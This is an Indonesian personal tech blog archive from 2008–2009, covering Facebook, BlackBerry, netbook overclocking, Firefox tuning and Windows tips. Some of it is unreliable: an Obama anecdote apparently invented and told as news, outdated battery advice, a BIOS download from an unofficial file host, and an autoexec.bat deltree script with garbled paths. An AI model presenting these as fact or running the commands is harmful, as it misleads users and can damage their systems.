Kembali ke soal fatwa haram. Sebuah pisau tajam memiliki 2 sifat, sifat jahat maupun sifat baik. Semua itu tergantung penggunanya. Jika penggunanya seorang tukang masak yang baik, maka pisau tersebut adalah hal yang baik. Tetapi jika digunakan oleh seorang pembunuh, maka pisau tersebut akan menunjukkan sisi jahatnya.
Facebook, sebuah situs jejaring sosial yang sedang booming saat ini, memiliki dua sisi: sisi positif dan sisi negatif. Jika digunakan secara tepat maka situs ini akan sangat membantu orang untuk keep in touch dengan teman-temannya. Di sisi lain situs ini bisa menyebabkan kecanduan di kalangan penggunanya. Pengguna akan menghabiskan banyak waktunya untuk mengurus facebook nya. Ini tentu saja akan memberikan efek sosial yang tidak baik.
Selain itu seperti dikatakan oleh para ulama di Jawa Timur, situs ini juga memiliki potensi sebagai sarana selingkuh secara virtual.
Tetapi semua alasan tersebut di atas bukanlah alasan yang kuat untuk menyatakan bahwa facebook itu haram. Seperti pisau, facebook memiliki dua sisi yang bertentangan. Maka yang harus dilakukan bukanlah mengharamkan facebook, tetapi memperbaiki moral para penggunanya. Memperbaiki moral para pengguna tentunya akan mengarahkan pengguna facebook untuk memanfaatkan sisi baik dari facebook.
Jika semua hal yang memiliki sisi negatif diharamkan, maka penggunaan Handphone dan internet tentunya akan diharamkan pula. Bahkan penggunaan pisau pun harus diharamkan, karena berpeluang untuk digunakan untuk membunuh orang........

Video Porno di Blog

2009-05-21T05:29:00.000-07:00

Download bokep mp4 dan 3gp, foto artis bugil dll, gratis.....
Itulah bahasa yang sering digunakan orang untuk menarik pengunjung ke situs mereka. Ya, itulah fakta. Sebagian pengguna internet sangat tertarik dengan link-link yang berkaitan dengan kata sex.

Metode tersebut tenyata juga digunakan oleh si Andi di blognya. Coba deh klik link ini
http://andisetiawan.com/tempat-download-bokep-mp4-3gp-gratis
Ternyata metode tersebut menarik banyak orang untuk berkunjung ke webnya, dan akhirnya mereka tertipu!!! Di sisi lain, bagi para pengelola web, pemilihan kata kunci yang tepat memang menjadi senjata ampuh untuk memancing orang datang ke web tersebut. Apalagi bagi orang yang mengharapkan mendapatkan penghasilan dari iklan yang dipasang di situsnya. Peningkatan jumlah pengunjung tentu akan berarti peningkatan penghasilan he he he

Euforia Internet Indonesia dan Hackberry?

2009-05-10T19:44:00.000-07:00

Indonesia saat ini sedang dilanda euforia penggunaan internet. Hal ini didukung dengan adanya penawaran fasilitas internet yang "gila-gilaan" dari operator seluler (walaupun kenyataanya pelayanan yang diberikan tidak sesuai dengan janjinya).
Tahun lalu sebuah rekor yang sangat mencengangkan dicetak oleh pengguna internet di Indonesia: Indonesia termasuk 3 besar dalam kepemilikan account friendster di dunia!!! Dan hal ini rasanya akan berlanjut ke jejaring sosial Facebook

Tetapi ada hal lain yang perlu kita cermati. Pemanfaatan internet tidak hanya sebatas pada jejaring sosial, tetapi juga pada sharing informasi, advertisement, e-commerce dll. Adalah hal yang sangat disayangkan jika tingkat penggunaan internet di Indonesia hanya sebatas pada jejaring sosial. Bayangkan tingkat kemajuan kualitas sumberdaya manusia Indonesia jika internet dimanfaatkan secara optimal sebagai sumber informasi.
Satu lagi fenomena yang cukup hangat di dunia informasi Indonesia, Blackberry! Gadget dari Research in Motion (RIM) ini memang sedang booming. Hal ini disebabkan oleh fasilitas akses internet dan browsing diberikan oleh RIM. Tentu saja layanan ini sangat cocok untuk para pebisnis maupun para eksekutif.
Demam Blackberry ternyata juga menyentuh orang-orang di luar kelas tersebut di atas. bagi kalangan ini, penggunaan blackberry hanya sebagai trend dan tanda "kelas" orang tersebut. Sebagian besar dari mereka hanya menggunakan Blackberry untuk mengecek status mereka di jejaring sosial, setiap menit ada notofikasi tentang update facebook mereka. Fasilitas hebat ini hanya dimanfaatkan seadanya...:-(
Satu lagi yang membuat Blackberry terkenal adalah tingkat keamanannya. Fasilitas inilah sebenarnya yang membuat Blackberry cocok untuk kalangan korporat. Tetapi menurut majalah yang saya baca, Blackberry tidak sepenuhnya aman. Memang blackberry aman dari pengguna luar, tetapi tidak aman dari RIM. Ya, transfer data yang kita lakukan memang harus melalui RIM dulu sebelum dikirim ke penerimanya. Jadi RIM bisa saja menjadi mata-mata bagi kita. Blackberry bisa berubah menjadi Hackberry

Netbook Bisa Dioverclock

2009-02-27T15:40:00.000-08:00

Siapa yang bilang netbook tidak bisa dioverclock? MSI Wind U100 adalah satu netbook yang bisa dioverclock. Peningkatan kinerja yang dihasilkan cukup lumayan untuk mendukung kinerja netbook kita. Anda dapat mengaktifkan option overclock ini dari windows. Tetapi sebelum anda mengoverclock netbook anda, anda harus mengupdate bios netbook anda agar mendukung dynamic overclocking.

Update bios ini dapat anda download dari situs resmi MSI. Atau jika anda mengalami kesulitan, bisa juga didownload dari www.ziddu.com/download/3666405/en011ims.105.rar.html. Cara mengupdate dapat anda baca di artikel berikut:
http://www.ziddu.com/download/3666341/How_to_flash_MSI_Notebook_BIOS_under_DOS_mode.pdf.html
Pastikan saat melakukan flashing BIOS netbook anda tidak mengalami masalah power, karena jika saat flashing netbook anda mati, netbook anda tidak bisa digunakan lagi.
Setelah update bios selesai, cabut kabel power dan batere netbook anda. setelah itu pasang lagi, masuk ke BIOS lalu anda akan melihat bahwa ada pilihan baru yaitu intel speedstep. Enable pilihan ini, lalu pilihlah seberapa besar dynamic overclocking yang ingin anda lakukan pada netbook ini. Restart komputer anda.
Selain mengupdate bios, anda juga perlu mengupdate System Control Manager. Update ini juga bisa anda download dari situs MSI. Untuk mengoverclock netbook anda, anda tinggal menekan kombinasi tombol Fn + F10. Jika update bios anda berhasil dan anda sudah mengaktifkan option overclock di bios, maka tombol power netbook anda akan berubah dari biru ke merah.
Perlu diingat bahwa mode overclock ini hanya bisa digunakan saat netbook terhubung dengan power listrik. Saat menggunakan batere, option ini tidak aktif.
Awalnya saya tidak mengetahui kemampuan overclock ini. Saya mengupdate Bios karena Netbook MSI U100 saya merupakan netbook keluaran pertama. Saat itu ada beberapa Bug yang muncul seperti layar mati setiap mendengarkan lagu dari Windows Media Player. Atas saran teknisi dari MSI Indonesia, maka saya disarankan untuk update BIOS. Dan akhirnya masalah tersebut teratasi. Saya mengetahui option overclock ini setelah membaca majalah CHIP edisi bulan lalu, saat itu langsung saya praktekkan, dan hasilnya sangat memuaskan. Kinerja netbook ini meningkat cukup lumayan jika dibandingkan dengan kinerja netbook merk lain

Obama Mendukung Caleg Partai Demokrat

2009-02-15T18:15:00.000-08:00

Seorang presiden negara adikuasa, Barack Obama, ternyata memberikan dukungan kepada sorang caleg dari partai Demokrat di Indonesia. Sangat Mengejutkan!!!
Itulah hal yang terbesit di kepala saya saat melihat poster caleg tersebut di pinggir jalan di kota saya.

Poster seorang calon anggota legislatif dengan gambar Barack Obama sedang tersenyum di atasnya. Dalam hati saya berfikir bahwa orang tersebut memanfaatkan nama partainya yang sama dengan partai Obama untuk mendongkrak popularitas.
Ada saja ide kreatif seseorang untuk menarik perhatian orang lain. Dengan memanfaatkan gambar orang terkenal di posternya, caleg tersebut berharap orang akan "selalu ingat" namanya. Tetapi jika dia terpilih menjadi anggota dewan yang katanya terhormat, akankah ia ingat kepada orang-orang yang telah memberi dukungan kepadanya? Kita lihat saja nanti

Presiden Amerika Bermasalah dengan Pintu

2009-02-10T16:59:00.000-08:00

Ternyata presiden Amerika ke 44, Barack Obama, yang menjanjikan perubahan terhadap kebijakan Amerika, melakukan kesalahan yang sama seperti yang dilakukan oleh presiden sebelumnya, George W Bush. Kedua orang ini selalu menghadapi masalah dengan pintu.

Kejadian ini terjadi kemarin pagi saat Obama akan menghadiri rapat di Ohio. saat keluar dari kediamannya obama langsung menuju helikopter kepresidenan. Di luar sudah menunggu para wartawan dan fotografer. Seperti biasa, Obama menyapa dan melambaikan tangan kepada para wartawan sebelum memasuki helikopter. Saking asyiknya melambaikan tangan, Obama lupa untuk menundukkan kepala saat memasuki helikopter. Akibatnya kepalanya terbentur di dinding helikopter.
Kejadian lain juga pernah terjadi saat Obama akan memasuki ruang oval di gedung putih. Obama memasuki ruangan tersebut dengan menaiki jendela karena menyangka jendela tersebut adalah sebuah pintu.
Beda halnya dengan Bush, saat di China ia sempat mengalami kejadian yang memalukan. Setelah mengikuti pertemuan dengan para pejabat China, ia bersusah payah untuk membuka sebuah pintu. Selidik punya selidik, ternyata pintu itu masih dikunci.

Dilarang Menggunakan Windows!!!

2009-01-13T16:30:00.000-08:00

Cerita ini saya baca dari sebuah situs Indonesia, Kalo nggak salah sih Okezone.com. Begini nih ceritanya:

Sinta adalah seorang karyawan baru di sebuah perusahaan swasta ternama. Sebagai seorang karyawan baru, pastinya ia akan berusaha mematuhi segala macam peraturan yang ada.

Suatu ketika Sinta bingung ketika disuruh oleh bossnya untuk membuka Microsoft Excel.
Sudah satu jam berlangsung sejak ia diperintahkan oleh sang bos untuk membuka aplikasi di dalam Microsoft Windows tersebut.

Karena ia semakin bingung, akhirnya dia pun mengambil jalan tengah dengan membuka DOS. Melihat hal ini, sang bos lantas memarahi Sinta,

"Hey! Saya minta kamu buka Excel kenapa malah buka DOS...??" teriak sang boss.

Sinta pun menjawab "Begini bos, saya nggak mau ngelanggar peraturan.." jawabnya.
Si Boss kebingungan, dan bertanya, "Peraturan apa?"

Sambil menunjuk tulisan di dinding, Sinta membacanya. "This room is equipped with air conditioner, please do not open windows... Nah, Windows aja nggak boleh apalagi Excel!"

Pengalaman Mencicipi Pro Evolution Soccer 2009

2009-01-07T15:14:00.000-08:00

Dua hari lalu saya mendapat kiriman DVD Pro Evolution Soccer 2009 dari teman di Surabaya. Game ini sudah saya idam-idamkan dari sejak berita peluncurannya bulan lalu. Game dengan genre sport yang selalu dinanti penggemarnya.
Kemarin, game ini langsung saya install di komputer. Game ini berukuran lumayan besar, 6 GB dan requirementnya pun gak tanggung-tanggung. Spesifikasi yang diperlukan untuk menjalankannya secara optimal adalah:
Minimum system requirements:
- Windows XP SP2, Vista
- Intel Pentium 4 1.4 GHz
- 1 GB RAM
- 6 GB an empty seat on a disk
- GeForce FX or Radeon 9700th Pixel / Vertex Shader 2.0 and 128 MB VRAM.
- 800 x 600 expansion of the display

Recommended system requirements:
- Windows XP SP2, Vista
- Intel Pentium 4 3.0 GHz
- 2 GB RAM
- 8 GB hard disk
- GeForce 6800 GT / GS, Radeon X1600 or higher. Pixel / Vertex Shader 3.0 and 256 MB VRAM
- 1,280 x 720 expansion of the display

Setelah instalasi saya langsung mencobanya. Saya menggunakan setting tertinggi untuk mendapatkan kualitas tampilan yang maksimum. Hasilnya, kualitas tampilan benar-benar mengagumkan wow....
Dari segi AI, game ini memiliki kualitas yang lebih baik dari seri PES 2008. Kemampuan pemain-pemain tertentu sangat terlihat, seperti Beckham, Messi, Fabregas sangat mirip aslinya. Dribling dapat dilakukan dengan sangat baik, dan bola lambung terasa sangat realistik.
Anda tidak dapat mengandalkan satu individu saja dalam game ini, anda benar-benar harus bekerja sama dengan pemain lain. Ini terjadi karena adanya peningkatan kualitas AI dibandingkan versi sebelumnya. Jadi anda tidak bisa mendribling bola dari tengah lapangan sendirian dan memasuki kotak penalti lalu melakukan shooting.
Lingkungan permainan terasa tidak terlalu berbeda dengan dengan PES 2008. Tetapi ada perbaikan pada suara penonton dan efek kondisi lapangan. Saat hujan, suara hujan dan efek petir terdengar sayup-sayup (sangat realistis)
Dalam game ini kita akan menemukan beberapa mode baru, seperti membuat klub anda menjadi juara liga Champion Eropa, atau mengontrol 1 orang pemain sehingga menjadi pemain legenda. wah pokoknya semakin menantang.
Sampai saat ini saya baru bisa memainkan sampai pada level Profesional, saya belum mencoba untuk level Top Player. sepertinya akan sangat susah. Karena untuk menang 1-0 di level ini saja saya sudah bersusah payah.
Gimana, ingin mencoba?

Merawat batere notebook, menyelamatkan dunia

2009-01-05T20:31:00.000-08:00

Apakah anda sudah menyaksikan The Unconvinient Truth dan The day After Tommorow? Ya seperti itulah gambaran kerusakan yang terjadi akibat rusaknya lingkungan kita. Mulai dari perubahan iklim yang ekstrim sampai banjir dan topan yang susah untuk diprediksi.
Salah satu hal yang memberikan kontribusi terhadap kerusakan alam kita adalah penggunaan bahan bakar dan juga penggunaan bahan kimia berbahaya yang selain membahayakan manusia, juga membahayakan lingkungan. Batere notebook adalah salah satu komponen dalam notebook yang mengandung bahan berbahaya. Proses daur ulang yang tidak benar akan menyebabkan lingkungan tercemar zat-zat yang terkandung dalam batere.

Perlu dicatat bahwa sebagian besar batere notebook diproduksi di Taiwan dan China, akan tetapi bahan-bahannya didatangkan dari belahan dunia yang lain. Ini berarti bahwa dalam proses pra produksi pun batere ini telah memberi kontribusi pada pencemaran lingkungan.
Nah sekarang kita ke inti permasalahan: Perawatan Batere Notebook
Agar batere dapat digunakan dalam waktu lama, maka usahakan saat menggunakan notebook, gunakan batere sampai benar-benar habis. Setelah itu charge batere sampai penuh. Cabut charger saat batere sudah penuh. Jangan pernah membiarkan charger tetap terpasang saat batere sudah penuh, karena hal tersebut akan mengurangi masa pakai batere.Jika anda ingin bekerja dalam selang waktu yang lama, sebaiknya cabut batere dan gunakan power dari colokan listrik saja.
Dengan bertambah panjangnya masa pakai batere, kita telah berpartisipasi menyelamatkan lingkungan.
Pemilihan notebook juga akan membantu program penyelamatan lingkungan, pilihlah notebook sesuai dengan keperluan. Jika kita menggunakan notebook hanya untuk office, lebih baik membeli notebook yang hemat daya seperti notebook yang menggunakan processor Intel Atom ataupun celeron yang nota bene lebih hemat daya dari Pentium Dual Core atau Core 2Duo maupun AMD Athlon X2. Semakin hemat daya notebook tersebut, semakin sedikit bahan bakar yang digunakan untuk membangkitkan listrik tersebut

Menunggu kehadiran Core i7 di Indonesia

2008-12-29T20:02:00.000-08:00

Bagi anda yang saat ini menggunakan processor Intel Core2Duo atau Intel Core2Quad bersiap-siaplah dengan kedatangan processor terbaru dari Intel, Intel Core i7, dan anda akan menganggap komputer anda ketinggalan zaman.
Ya, Intel Core i7 adalah processor generasi terbaru dari Intel. Codename dari processor ini adalah nehalem (nama sebuah sungai di Amerika). Apa yang membuat processor ini begitu spesial?

Yang pertama adalah processor ini tidak lagi menggunakan soket LGA 775, Intel Core i7 sekarang akan menggunakan soket LGA 1366. Sehingga, bila anda ingin mengupgrade processor anda ke Core i7, berarti anda juga harus membeli sebuah mainboard baru.
Kedua, untuk menggunakan processor ini, maka anda harus menggunakan DDR3. Karena processor ini tidak mendukung penggunaan DDR2. Processor ini mendukung Triple chanel DDR3.
Ketiga, tidak ada lagi FSB. Tugas FSB (Front Side Bus) sebagai kecepatan jalur transportasi data antara chipset, processor dan memmory digantikan oleh QPI (Quick Path Interconnect). QPI adalah kecepatan jalur komunikasi data antara processor dan chipset. Perlu diketahui, bahwa pada core i7 manajemen memmory tidak lagi dilakukan oleh northbridge, karena dalam Core i7 telah diintegrasikan memmory controler. Banyak ahli yang mengatakan bahwa desain ini meniru desain AMD pada processor Athlonnya. Sebagai akibatnya, pada motherboard yang mendukung Core i7 tidak akan ada lagi Northbridge.
Keempat, semua core dan controler memmory diletakkan dalam satu die. Pada processor sebelumnya (Core 2 Quad), core diletakkan dalam 2 buah die, dalam 1 die ada 2 core. Ini juga meniru desain dari AMD Phenom
Kelima, kalau sebelumnya kita hanya mengenal L1 dan L2 cache, di Core i7 kita akan mengenal L3 cache selain L1 dan L2. Besar masing-masing adalah 32 kB L1 cache untuk masing-masing core, 256 kB L2 cache untuk masing masing core dan 8 MB L3 cache yang digunakan secara bersama oleh seluruh core.
Keenam, teknologi Hyperthreading yang dulu digunakan pada Pentium 4 dan hilang pada generasi selanjutnya, digunakan lagi pada Core i7. Setiap core akan menerapkan hyperthreading teknologi ini. sehingga akan ada 8 thread saat processor ini bekerja.
Smapai saat ini baru ada 3 perusahaan yang telah mengeluarkan motherboard untuk Core i7. Mereka adalah MSI, ASUS dan Gigabyte. Semua motherboard tersebut dipersenjatai dengan Chipset Intel X58. Dan harganya? Ya, mungkin hanya cocok bagi para penggila kecepatan di PC.
Sampai saat ini mungkin Core i7 masih sangat mahal bagi kita. Tetapi seiring berjalannya waktu, teknologi ini pasti dapat kita nikmati. Tapi kapan?

Membuka Program tanpa Splash Screen

2008-12-27T19:44:00.000-08:00

Saat anda membuka sebuah program, biasanya program tersebut akan menampilkan splash screen seperti pada gambar di atas. Jika anda tidak menyukai hal ini, anda dapat menghilangkannya.

Cara menghilangkan tampilan splash screen setiap anda membuka sebuah program adalah dengan memanfaatkan tombol "shift" pada keyboard anda.
Sebelum anda membuka sebuah program, tekanlah tombol shift terlebih dahulu. Setelah itu baru klik icon programnya dengan tetap menekan tombol shift. Hasilnya, anda tidak akan disuguhi splash screen lagi dan program bersangkutan akan tampil lebih cepat. Selamat mencoba

Keanehan Windows XP

2008-12-27T19:27:00.000-08:00

Mungkin bagi beberapa orang hal ini bukan hal yang baru. Tapi saya fikir perlu juga saya posting di sini karena mungkin saja ada orang yang belum tau he he he...
Ya, Windows XP memang mempunyai beberapa keanehan. Keanehan-keanehan itu diantaranya:
1. Tidak bisa membuat folder dengan nama CON
Jika anda membuat sebuah folder di drive mana saja dengan nama CON, maka anda tidak akan pernah berhasil. Setiap anda selesai menamai folder tersebut, maka ia akan kembali berubah nama menjadi "new folder". Hasil Googling saya mengatakan bahwa CON merupakan reserved word pada MS DOS, itu sebabnya kita tidak bisa menggunakan nama tersebut menjadi nama sebuah folder. CON berarti console

2. Tulisan berubah menjadi karakter lain
Cobalah buka notepad. Lalu ketikkan kata-kata yang terdiri dari formasi huruf-huruf seperti berikut: 4-3-3-5. Contohnya : kata ini gak salah. Simpanlah file tersebut, lalu tutup. Kemudian buka lagi file tersebut. Amatilah perubahannya
3. MS Word
Bukalah Microsoft word, lalu ketikkan "=rand(90,89)".Tekan enter, maka jika anda menggunakan MS Office 2003 akan muncul tulisan:"The quick brown fox jumps over the lazy dog.". Tapi jika anda menggunakan MS Office 2007 akan muncul tulisan:"On the Insert tab, the galleries include items that are designed to coordinate with the overall look of your document. You can use these galleries to insert tables, headers, footers, lists, cover pages, and other document building blocks.......".
Menurut beberapa sumber, keanehan-keanehan tersebut ditemukan oleh orang dari Brazilia dan India

Menghemat Memmory di Firefox

2008-11-14T15:33:00.000-08:00

Bagi Anda pengguna setia Mozilla Firefox pernahkah Anda frustasi saat berselancar dengan firefox tiba - tiba komputer Anda melambat atau bahkan ngadat? Mengapa hal ini bisa terjadi? Salah satu penyebab utamanya adalah karena firefox itu sendiri. Meski populer rupanya Firefox bukanlah browser ringan. Browser ini tergolong tambun dan boros, karena menghabiskan resource komputer yang lumayan tinggi.

Untuk pertama kali dijalankan saja browser ini (versi 2) menghabiskan paling sedikit 10 mega memori di Linux, dan 20 mega di Windows. Semakin banyak Anda membuka tab / web maka semakin besar memori yang dihabiskan dan semakin sibuk pula CPU Anda bekerja. Dari sisi manajemen memori tampaknya browser ini masih kalah dibanding rivalnya Opera.

Eiittss...gak perlu berkecil hati dan lekas-lekas memutuskan berpindah ke browser lain. Karena dengan sedikit tune up Anda bisa memperbaiki kinerja Firefox kesayangan. Ada sedikit tips yang mungkin berguna untuk anda.

1. Batasi kapasitas cache memori
Setiap kali Anda membuka sebuah halaman web, Firefox otomatis akan menyimpannya dalam cache memori. Secara default Firefox menggunakannya sebesar jumlah maksimal RAM yang Anda miliki. Itulah mengapa semakin banyak Anda membuka web, memori komputer Anda semakin habis. Untuk membatasinya tambahkan opsi: browser.cache.memory.capacity. Caranya klik kanan, New > Integer. Ketik browser.cache.memory.capacity, enter, masukkan angka 2048. 2048 disini artinya gunakan cache memori maksimal hanya 2 Mega. Anda bisa coba - coba dengan angka yang lain, namun usahakan merupakan kelipatan dari 1024.

2. Batasi kapasitas cache history
Sama seperti cache memori, hanya bedanya peruntukan cache disini oleh Firefox lebih ditujukan untuk mempercepat loading halaman saat Anda menekan tombol back dan forward pada browser. Apabila Anda jarang memakai back dan forward, ada baiknya Anda set dengan nilai kecil guna menghemat memori. Pada filter ketikkan: browser.sessionhistory.max_total_viewers, ubah nilai -1 menjadi 3. Default -1 artinya gunakan semaksimal RAM yang ada. hmm.. nilai default dari Firefox benar-benar rakus bukan?

3. Batasi kapasitas cache disk
Secara default Mozilla menset ukuran cache disk sebesar 50 Mega. Tentunya ini pemborosan memori. Mensetnya menjadi 2 MB dapat memberikan performa yang positif khususnya bagi komputer dengan memori dibawah 128 MB dan harddisk model lama. Pada filter ketikkan: browser.cache.disk.capacity, ubah nilai 50000 menjadi 2000.

4. Batasi extension/add-ons
Semakin banyak add-ons yang Anda gunakan, semakin besar RAM yang dihabiskan. Disable add-ons yang kurang Anda gunakan. Untuk membandingkan performa memori yang digunakan saat menggunakan dan tanpa add-ons dapat dilakukan dengan mencoba menjalankan Firefox pada kondisi safe-mode. Caranya dengan perintah: $ firefox -safe-mode. Pada pilihan yang muncul pastikan Anda beri tanda pada opsi: Disable all add-ons.

5. Disable Flash
Tahukah anda bahwa animasi flash yang di load saat Anda membuka web memakan resource RAM yang lumayan besar? Konsekuensinya adalah waktu loading menjadi lebih lambat dan berat. Bahkan pada plugin flash sebelum versi 9, resource RAM yang dipakai merupakan akumulasi dari jumlah flash yang dibuka sebelumnya. Gerah? Ada baiknya anda disable flash. Silahkan download dan install flashblock addon disini:
http://downloads.mozdev.org/flashblock/flashblock-1.5.5.xpi (untuk firefox > 1.5.5)

6. Disable download history
Sebaiknya anda nonaktifkan fitur history ini. Karena semakin banyak download history yang disimpan, maka akan menurunkan performa Firefox. Apalagi bila media penyimpannya pada media removeable seperti disket. Caranya mudah, pilih menu Tools > Options > Privacy. lalu hilangkan pilihan pada “Remember what I’ve downloaded”

7. Load yang perlu saja
Secara default Firefox tanpa kita sadari merusaha melakukan pre-download pada link halaman web yang mungkin akan kita klik. Hal ini meniru taktik Google yang mencache terlebih dahulu result pertama dari link pencarian yang dia temukan. Tentu cara ini hanya memboroskan bandwdith, dan performa CPU. Untuk menonaktifkan fitur ini ketik pada filter: network.prefetch-next, klik dua kali, agar nilainya menjadi false.

8. Download dan segera tampilkan.
Tips ini mungkin berguna buat yang tidak sabaran. Umumnya firefox akan menunggu beberapa saat setelah download untuk mulai menampilkan halaman yang dituju. Untuk memaksa Firefox agar segera menampilkan halaman web yang didownloadnya Anda bisa menset nilai: nglayout.initialpaint.delay menjadi 0. Apabila belum ada silahkan klik kanan, new > integer > nglayout.initialpaint.delay

Tips untuk menghemat memori lainnya adalah dengan mengaktifkan fitur config.trim_on_minimize. Hanya saja fitur ini hanya efektif pada lingkungan Windows. Caranya klik kanan, new > boolean, ketikkan config.trim_on_minimize. Set nilainya True. Dengan cara ini setiap kali Firefox di minimize, otomatis memori yang di pakai akan dilepas / dibebaskan, sehingga dapat dipakai untuk proses aplikasi lainnya.

Setelah menyelesaikan langkah-langkah di atas, restart firefox anda. Mudah-mudahan berhasil

Sumber : http://majalah-linux.baliwae.com/

Menghapus Junk File

2008-11-14T15:08:00.000-08:00

Pernahkah anda merasakan komputer anda menjadi sangat lambat? Jauh lebih lambat dari saat anda pertama kali menginstall Windows. Hal tersebut mungkin disebabkan oleh tumpukan file sampah di komputer anda. File dan folder sampah yang masih menumpuk di harddisk dapat memperlambat kinerja harddisk itu sendiri yang pada akhirnya dapat menyebabkan PC atau Laptop menjadi sangat lambat. Oleh karena itu, perlunya membersihkan junk file dan junk folder tersebut secara teratur dengan bantuan software khusus untuk itu. Namun Anda juga dapat memfungsikan file Autoexec.bat untuk membersihkan sampah-sampah harddisk tersebut.

File autoexec.bat adalah file konfigurasi Windows yang dijalankan secara otomatis pada saat melakukan booting. Kita dapat menempelkan script yang dapat membersihkan “sampah-sampah” di harddisk pada file autoexec.bat sehingga script tersebut akan dijalankan secara otomatis pada saat booting.

Langkah-langkahnya adalah sebagai berikut.

1. Buka Notepad
2. Kemudian ketikkan perintah sebagai berikut.
Set temp=c:windows emp
Set tmp=c:windows emp
Echo deleting temporary FilesDeltree /y c:windowscookies*.*
Deltree /y c:windowshistory*.*
Deltree /y c:windows ecent*.*
Deltree /y c:windows emp~1*.*
Deltree /y c:windows emp*.*
3. Kemudian simpan pada drive C: dengan nama “autoexec.bat”.
4. Selesai

Coba sekarang, Anda restart PC Anda dan pastikan “sampah-sampah” harddisk PC Anda telah terhapus pada saat PC atau laptop Anda booting.

Perintah deltree /y c:windowscookies*.* akan menghapus semua file/folder yang berada di directory c:windowscookies tanpa kofirmasi terlebih dahulu.
Selain menggunakan trik tersebut, anda juga dapat menggunakan software seperti ccleaner yang dapat anda download dari www.filehippo.com

Mengubah Registered Owner Windows XP

2008-10-07T02:08:00.001-07:00

Saat menginstal windows, kita mungkin melakukan kesalahan dalam memasukkan informasi pemilik Windows tersebut sehingga nama yang kita masukkan tidak sesuai dengan data pemiliknya. Tetapi jangan khawatir, kesalahan tersebut dapat kita perbaiki dengan melakukan sedikit modifikasi pada registry:

1. Pertama-tama klik start, Run, kemudian ketikkan "regedit" dalam Run option.
2. Masuk ke HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion
3. Pada panel di sebelah kanan
double click pada RegisteredOwner lalu ubah nilainya sesuai dengan yang anda inginkan.
4. Setelah itu tutup registry editor dan restart komputer anda untuk melihat efeknya.

Shortcut Mozilla Firefox

2008-10-01T23:24:00.000-07:00

Sebagian besar dari kita pastilah mengenal Browser Mozilla Firefox. Browser dengan populasi pengguna terbesar kedua setelah Internet Explorer. Berdasarkan hasil pengujian dari majalah CHIP, disimpulkan bahwa browser ini adalah browser tercepat dibandingan dengan browser-browser lainnya. walaupun dari segi keamanan, Firefox kalah dari Opera.
Untuk meningkatkan efisiensi dan efektifitas browser ini, kita dapat menggunakan shortcut untuk membantu kita dalam pengoperasian browser ini. Berikut adalah shorcut dari Firefox yang saya dapatkan dari situs resmi Firefox:

This is a list of keyboard shortcuts in Mozilla Firefox.

Command	Shortcut
Navigation
Back	AltOpt+Left Arrow BackspaceAltOpt+Left Arrow CtrlCmd+[CtrlCmd+[ CtrlCmd+Left Arrow Delete
Forward	AltOpt+Right Arrow Shift+BackspaceAltOpt+Right Arrow CtrlCmd+]
Home	AltOpt+Home
Open File	CtrlCmd+O
Reload	F5 Ctrl Cmd+R
Reload (override cache)	CtrlCmd+F5 CtrlCmd+Shift+R
Stop	CtrlCmd+. Esc
Current Page
Go to Bottom of Page	End
Go to Top of Page	Home
Move to Next Frame	F6
Move to Previous Frame	Shift+F6
Page Info	CtrlCmd+I
Page Source	CtrlCmd+U
Print	CtrlCmd+P
Save Page As	CtrlCmd+S
Text Size: Decrease	CtrlCmd+-
Text Size: Increase	CtrlCmd++
Text Size: Restore	CtrlCmd+0
Editing
Copy	CtrlCmd+C
Cut	CtrlCmd+X
Delete	Delete
Paste	CtrlCmd+V
Redo	CtrlCmd+YCtrlCmd+Shift+Z
Select All	CtrlCmd+A
Undo	CtrlCmd+Z
Search
Find	CtrlCmd+F
Find Again	F3 CtrlCmd+G
Find As You Type Link	'
Find As You Type Text	/
Find Previous	Shift+F3
Web Search	CtrlCmd+K CtrlCmd+E Ctrl Cmd+J
Windows & Tabs
Close Tab	CtrlCmd+W Ctrl+F4
Close Window	CtrlCmd+Shift+W AltOpt+F4
Move Tab Left (when tab is focused)	CtrlCmd+Left Arrow CtrlCmd+Up Arrow
Move Tab Right (when tab is focused)	CtrlCmd+Right Arrow CtrlCmd+Down Arrow
Move Tab to Beginning (when tab is focused)	Ctrl Cmd+Home
Move Tab to End (when tab is focused)	CtrlCmd+End
New Tab	CtrlCmd+T
New Window	CtrlCmd+N
Next Tab	Ctrl+Tab CtrlCmd+AltOpt+Right Arrow Ctrl+Page Down
Open Address in New Tab (from Location Bar or Search Bar)	AltOpt+EnterReturn
Previous Tab	Ctrl+Shift+Tab CtrlCmd+AltOpt+Left Arrow Ctrl+Page Up
Undo Close Tab	CtrlCmd+Shift+T
Select Tab (1 to 8)	CtrlCmdAltOpt+(1 to 8)
Select Last Tab	CtrlCmdAltOpt+9
Tools
Bookmark All Tabs	CtrlCmd+Shift+D
Bookmark This Page	CtrlCmd+D
Bookmarks	CtrlCmd+B CtrlCmd+I
Caret Browsing	F7
Downloads	CtrlCmd+JCtrlCmd+Y
History	CtrlCmd+H CtrlCmd+Shift+H
Clear Private Data	CtrlCmd+Shift+Del
Miscellaneous
Complete .com Address	CtrlCmd+EnterReturn
Complete .net Address	Shift+EnterReturn
Complete .org Address	CtrlCmd+Shift+EnterReturn
Delete Selected Autocomplete Entry	DelShift+Del
Full Screen	F11
Select Location Bar	AltOpt+D F6 CtrlCmd+L
Select or Manage Search Engines (when Search Bar is focused)	AltOpt+Up Arrow AltOpt+Down Arrow F4

Command	Shortcut
Navigation
Back	AltOpt+Left Arrow BackspaceAltOpt+Left Arrow CtrlCmd+[CtrlCmd+[ CtrlCmd+Left Arrow Delete
Forward	AltOpt+Right Arrow Shift+BackspaceAltOpt+Right Arrow CtrlCmd+]
Home	AltOpt+Home
Open File	CtrlCmd+O
Reload	F5 Ctrl Cmd+R
Reload (override cache)	CtrlCmd+F5 CtrlCmd+Shift+R
Stop	CtrlCmd+. Esc
Current Page
Go to Bottom of Page	End
Go to Top of Page	Home
Move to Next Frame	F6
Move to Previous Frame	Shift+F6
Page Info	CtrlCmd+I
Page Source	CtrlCmd+U
Print	CtrlCmd+P
Save Page As	CtrlCmd+S
Zoom In	CtrlCmd++
Zoom Out	CtrlCmd+-
Zoom Reset	CtrlCmd+0
Editing
Copy	CtrlCmd+C
Cut	CtrlCmd+X
Delete	Delete
Paste	CtrlCmd+V
Redo	CtrlCmd+YCtrlCmd+Shift+Z
Select All	CtrlCmd+A
Undo	CtrlCmd+Z
Search
Find	CtrlCmd+F
Find Again	F3 CtrlCmd+G
Find As You Type Link	'
Find As You Type Text	/
Find Previous	Shift+F3
